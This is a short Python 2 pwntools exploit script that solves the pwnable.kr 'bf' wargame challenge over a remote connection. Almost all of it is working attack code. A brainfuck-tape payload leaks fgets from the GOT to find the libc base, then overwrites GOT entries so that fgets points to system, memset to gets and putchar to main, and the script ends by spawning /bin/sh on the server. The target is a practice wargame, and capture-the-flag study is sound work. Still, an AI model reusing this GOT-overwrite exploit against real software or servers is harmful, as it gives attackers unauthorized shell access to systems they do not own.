#!/usr/bin/python
import time
from pwn import *
libc = ELF("./bf_libc.so")
#libc = ELF("/lib32/libc.so.6")

p = remote("pwnable.kr", 9001)
#p = process("./bf")
print p.recvuntil("]")

#payload = "<"*112+",>,>,>,.\n\x20\x29\xe4\xf7\n"

#print fgets@got.plt
payload = "<"*(0x0804a0a0-0x0804a010) #p - fgets@got.plt
payload += ".>"*4

#write &system at fgets
payload += "<"*4
payload += ",>"*4

#write &gets at memsets
payload += ">"*(0x0804a02c-0x0804a014) #memset@got.plt - fgets@got.plt+4
payload += ",>"*4

#write &main at putchar
payload += ",>"*4

#call putchar (main will be called)
payload += "."

#send!
p.sendline(payload)


#
fgets_addr = p.recvn(5)[::-1].encode("hex")[:-2]
libc_base = int(fgets_addr,16) - libc.symbols['fgets']
system_addr = libc_base + libc.symbols['system']
gets_addr = libc_base + libc.symbols['gets']
main_addr = 0x08048671

#
p.send(p32(system_addr))
p.send(p32(gets_addr))
p.send(p32(main_addr))
p.sendline("/bin/sh\x00")
#p.sendline("cat flag\x00")
p.interactive()
p.close()
